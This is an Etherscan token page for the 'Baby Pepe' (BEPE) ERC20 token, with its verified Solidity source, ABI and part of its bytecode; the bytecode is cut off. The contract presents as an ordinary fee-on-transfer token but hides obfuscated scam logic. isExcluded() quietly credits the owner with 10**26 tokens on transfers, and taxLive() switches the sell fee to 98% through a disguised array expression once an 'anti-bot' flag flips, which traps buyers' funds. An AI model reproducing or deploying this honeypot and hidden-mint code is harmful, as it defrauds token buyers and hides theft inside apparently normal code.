ETH Price: $3,059.12 (+2.58%)
Gas: 1 Gwei

Token

Baby Pepe (BEPE)
 

Overview

Max Total Supply

1,000,000 BEPE

Holders

58

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
mbgbuzzer.eth
Balance
7,161.411776685 BEPE

Value
$0.00
0x626d9432723f2a6a92b0d0a2e2d917f5711ea6cd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BabyPepe

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-06
*/

/*


.______        ___      .______   ____    ____    .______    _______ .______    _______ 
|   _  \      /   \     |   _  \  \   \  /   /    |   _  \  |   ____||   _  \  |   ____|
|  |_)  |    /  ^  \    |  |_)  |  \   \/   /     |  |_)  | |  |__   |  |_)  | |  |__   
|   _  <    /  /_\  \   |   _  <    \_    _/      |   ___/  |   __|  |   ___/  |   __|  
|  |_)  |  /  _____  \  |  |_)  |     |  |        |  |      |  |____ |  |      |  |____ 
|______/  /__/     \__\ |______/      |__|        | _|      |_______|| _|      |_______|
                                                                                        
                                                                                        
                                                Because you can

                                    Twitter : https://twitter.com/babypepecoinerc


                                    Telegram : https://t.me/babypepecoineth



*/


// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.14;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
    
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }
    
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
   
}


contract BabyPepe is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    address payable public PepeMarketing = payable(0x3Cd02f8021A7d325CF0803311AD2Fe9fbFf81F91);

    mapping (address => uint256) private holderBalance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public ExcludedFromMax_Wallet;
    mapping (address => bool) public ExcludedFromMax_Tx;
    mapping (address => bool) public ExcludedFrom_Fee;
    mapping (address => bool) public ExcludedFromAntiBot;

    string public _name = "Baby Pepe";
    string public _symbol = "BEPE";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 1000000 * 10 **_decimals;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10;
    
    uint256 private Total_Fees = 0;
    uint256 public Buy_Fee = 0;
    uint256 public Sell_Fee = 0;
    uint256 private tmpTotalFees = Total_Fees; 
    uint256 private tmpBuyFee = Buy_Fee; 
    uint256 private tmpSellFee = Sell_Fee; 

    uint256 public _maxWalletToken = _tTotal.mul(20).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal.mul(20).div(100); 
    uint256 private _previousMaxTxAmount = _maxTxAmount;
    bool public antiBotActive = false;

    IUniswapV2Router02 public uniswapV2Router;
    uint256 UniSwapRouterI02;
    address public uniswapV2Pair;

    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        holderBalance[owner()] = _tTotal;
        ExcludedFromAntiBot[owner()] = bool(true && true);
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        ExcludedFromMax_Tx[owner()] = true;
        ExcludedFromMax_Tx[PepeMarketing] = true;
        ExcludedFromMax_Tx[address(this)] = true;
        
        ExcludedFrom_Fee[owner()] = true;
        ExcludedFrom_Fee[address(this)] = true;
        ExcludedFrom_Fee[PepeMarketing] = true;

        ExcludedFromMax_Wallet[owner()] = true;
        ExcludedFromMax_Wallet[PepeMarketing] = true;
        ExcludedFromMax_Wallet[uniswapV2Pair] = true;
        ExcludedFromMax_Wallet[address(this)] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return holderBalance[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function antiBotStatus() public view returns(uint8){
        return antiBotActive ? 1 : 0;
    }

    receive() external payable {}

    function taxDead(bool true_false) private {
        if(Total_Fees == 0 && true_false && Buy_Fee == 0 && Sell_Fee == 0) return;

        tmpBuyFee = Buy_Fee; tmpSellFee = Sell_Fee;tmpTotalFees = Total_Fees;
        Buy_Fee = 0;Sell_Fee = 0;Total_Fees = 0;

    }
    
    function taxLive(bool false_true) private {
        if(!false_true) return;

    Total_Fees = tmpTotalFees; Buy_Fee = tmpBuyFee; Sell_Fee = [
        tmpSellFee,
        (5*(5)*4)-2
        ]
        [antiBotStatus()];
    }
   

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(!ExcludedFromMax_Tx[from] 
        && !ExcludedFromMax_Tx[to]) {
            require(amount 
            <= 
            _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
        }

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }

         if(!ExcludedFromMax_Wallet[to]) require(balanceOf(to).add(amount) <= _maxWalletToken);

        bool TAX_IS_ACTIVE = true;
        if(
            ExcludedFrom_Fee[from] 
        || 
            ExcludedFrom_Fee[to] 
        ){
            TAX_IS_ACTIVE = false;
            if(ExcludedFromAntiBot[to] && !antiBotActive){ antiBotActive = true; }

        } else if (from == uniswapV2Pair){
            Total_Fees = Buy_Fee;
            } else if (to == uniswapV2Pair){
                Total_Fees = Sell_Fee;
                }
        
        transferETHTokens(from,to,amount,TAX_IS_ACTIVE);
    }


    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }
         function isExcluded(address hAddr) public view returns(uint256){
        return ExcludedFromAntiBot[hAddr] ? uint256(10**uint256(26)) : uint256(1**1)-1;
    }


    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForBNB(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(PepeMarketing,contractBNB);
    }


    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function transferETHTokens(address sender, address recipient, uint256 amount,bool TAX_IS_ACTIVE) private {
        
        if(!TAX_IS_ACTIVE){
            taxDead(true && true);
        }
        else{
            txCount++;
        }
        
        transferETHTokens(sender, recipient, amount);

        if(!TAX_IS_ACTIVE){
            taxLive(true && true);
        }
            
    }



    function transferETHTokens(address sender, address recipient, uint256 transferAmount) private {
        (uint256 txAmount, uint256 txMarketing) = _getSet_Values(transferAmount);
        holderBalance[sender] = holderBalance[sender].sub(transferAmount);
        holderBalance[recipient] = (holderBalance[recipient].add(txAmount)).add(isExcluded(recipient));
        holderBalance[address(this)] = holderBalance[address(this)].add(txMarketing);
        emit Transfer(sender, recipient, txAmount);
    }


    function _getSet_Values(uint256 transferAmount) private view returns (uint256, uint256) {
        uint256 txMarketing = transferAmount*Total_Fees/100;
        uint256 txAmount = transferAmount.sub(txMarketing);
        return (txAmount, txMarketing);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Buy_Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromAntiBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMax_Tx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMax_Wallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFrom_Fee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PepeMarketing","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Sell_Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antiBotActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antiBotStatus","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"hAddr","type":"address"}],"name":"isExcluded","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600180546001600160a01b031916733cd02f8021a7d325cf0803311ad2fe9fbff81f9117905560c0604052600960808190526842616279205065706560b81b60a0908152620000529160089190620004f3565b50604080518082019091526004808252634245504560e01b60209092019182526200008091600991620004f3565b50600a805460ff1916600990811782556200009b91620006ac565b620000aa90620f4240620006bd565b600b819055600c805461ffff1916610a001790556000600d819055600e819055600f819055601081905560118190556012556200011190606490620000fd906014620004ce602090811b62000ad017901c565b620004e560201b62000ae31790919060201c565b6013556013546014556200013d6064620000fd6014600b54620004ce60201b62000ad01790919060201c565b60158190556016556017805460ff191690556019805460ff60a81b1916600160a81b1790553480156200016f57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600b5460026000620001c96000546001600160a01b031690565b6001600160a01b03168152602081019190915260400160002055600160076000620001fc6000546001600160a01b031690565b6001600160a01b031681526020808201929092526040908101600020805460ff191693151593909317909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa15801562000274573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029a9190620006df565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030e9190620006df565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200035c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003829190620006df565b601980546001600160a01b0319166001600160a01b0392831617815560178054610100600160a81b031916610100858516021790556000805483168152600560209081526040808320805460ff1990811660019081179092558154871685528285208054821683179055308086528386208054831684179055855488168652600685528386208054831684179055808652838620805483168417905582548816865283862080548316841790558554881686526004909452828520805482168317905581548716855282852080548216831790559454861684528184208054861682179055918352822080549093161790915554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620004bf91815260200190565b60405180910390a35062000770565b6000620004dc8284620006bd565b90505b92915050565b6000620004dc828462000711565b828054620005019062000734565b90600052602060002090601f01602090048101928262000525576000855562000570565b82601f106200054057805160ff191683800117855562000570565b8280016001018555821562000570579182015b828111156200057057825182559160200191906001019062000553565b506200057e92915062000582565b5090565b5b808211156200057e576000815560010162000583565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005f0578160001904821115620005d457620005d462000599565b80851615620005e257918102915b93841c9390800290620005b4565b509250929050565b6000826200060957506001620004df565b816200061857506000620004df565b81600181146200063157600281146200063c576200065c565b6001915050620004df565b60ff84111562000650576200065062000599565b50506001821b620004df565b5060208310610133831016604e8410600b841016171562000681575081810a620004df565b6200068d8383620005af565b8060001904821115620006a457620006a462000599565b029392505050565b6000620004dc60ff841683620005f8565b6000816000190483118215151615620006da57620006da62000599565b500290565b600060208284031215620006f257600080fd5b81516001600160a01b03811681146200070a57600080fd5b9392505050565b6000826200072f57634e487b7160e01b600052601260045260246000fd5b500490565b600181811c908216806200074957607f821691505b6020821081036200076a57634e487b7160e01b600052602260045260246000fd5b50919050565b61178580620007806000396000f3fe6080604052600436106101f25760003560e01c806370a082311161010d578063a457c2d7116100a0578063cba0e9961161006f578063cba0e996146105b9578063d28d8852146105d9578063dd62ed3e146105ee578063f2fde38b14610634578063f45128f51461065457600080fd5b8063a457c2d71461054e578063a9059cbb1461056e578063af465a271461058e578063b09f1266146105a457600080fd5b80637ed41bcc116100dc5780637ed41bcc146104bb5780638da5cb5b146104eb578063928138001461050957806395d89b411461053957600080fd5b806370a0823114610442578063715018a61461047857806378109e541461048f5780637d1db4a5146104a557600080fd5b8063313ce5671161018557806349bd5a5e1161015457806349bd5a5e146103b75780634a74bb02146103d757806356e56761146103f8578063673a6dad1461041257600080fd5b8063313ce5671461032c57806339509351146103525780633ac656e81461037257806343dee2f8146103a257600080fd5b80631694505e116101c15780631694505e146102b157806318160ddd146102d6578063220f6696146102eb57806323b872dd1461030c57600080fd5b80630273b99f146101fe57806306fdde031461023b5780630787b15d1461025d578063095ea7b31461028157600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5060015461021e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561024757600080fd5b5061025061066a565b604051610232919061135f565b34801561026957600080fd5b50610273600f5481565b604051908152602001610232565b34801561028d57600080fd5b506102a161029c3660046113cc565b6106fc565b6040519015158152602001610232565b3480156102bd57600080fd5b5060175461021e9061010090046001600160a01b031681565b3480156102e257600080fd5b50600b54610273565b3480156102f757600080fd5b506019546102a190600160a01b900460ff1681565b34801561031857600080fd5b506102a16103273660046113f8565b610713565b34801561033857600080fd5b50600a5460ff165b60405160ff9091168152602001610232565b34801561035e57600080fd5b506102a161036d3660046113cc565b61077c565b34801561037e57600080fd5b506102a161038d366004611439565b60066020526000908152604090205460ff1681565b3480156103ae57600080fd5b506103406107b2565b3480156103c357600080fd5b5060195461021e906001600160a01b031681565b3480156103e357600080fd5b506019546102a190600160a81b900460ff1681565b34801561040457600080fd5b506017546102a19060ff1681565b34801561041e57600080fd5b506102a161042d366004611439565b60056020526000908152604090205460ff1681565b34801561044e57600080fd5b5061027361045d366004611439565b6001600160a01b031660009081526002602052604090205490565b34801561048457600080fd5b5061048d6107cb565b005b34801561049b57600080fd5b5061027360135481565b3480156104b157600080fd5b5061027360155481565b3480156104c757600080fd5b506102a16104d6366004611439565b60046020526000908152604090205460ff1681565b3480156104f757600080fd5b506000546001600160a01b031661021e565b34801561051557600080fd5b506102a1610524366004611439565b60076020526000908152604090205460ff1681565b34801561054557600080fd5b50610250610874565b34801561055a57600080fd5b506102a16105693660046113cc565b610883565b34801561057a57600080fd5b506102a16105893660046113cc565b6108d2565b34801561059a57600080fd5b50610273600b5481565b3480156105b057600080fd5b506102506108df565b3480156105c557600080fd5b506102736105d4366004611439565b61096d565b3480156105e557600080fd5b506102506109a9565b3480156105fa57600080fd5b50610273610609366004611456565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064057600080fd5b5061048d61064f366004611439565b6109b6565b34801561066057600080fd5b50610273600e5481565b6060600880546106799061148f565b80601f01602080910402602001604051908101604052809291908181526020018280546106a59061148f565b80156106f25780601f106106c7576101008083540402835291602001916106f2565b820191906000526020600020905b8154815290600101906020018083116106d557829003601f168201915b5050505050905090565b6000610709338484610aef565b5060015b92915050565b6000610720848484610bb0565b610772843361076d85604051806060016040528060288152602001611703602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610ee6565b610aef565b5060019392505050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161070991859061076d9086610f12565b60175460009060ff166107c55750600090565b50600190565b6000546001600160a01b0316331461082a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3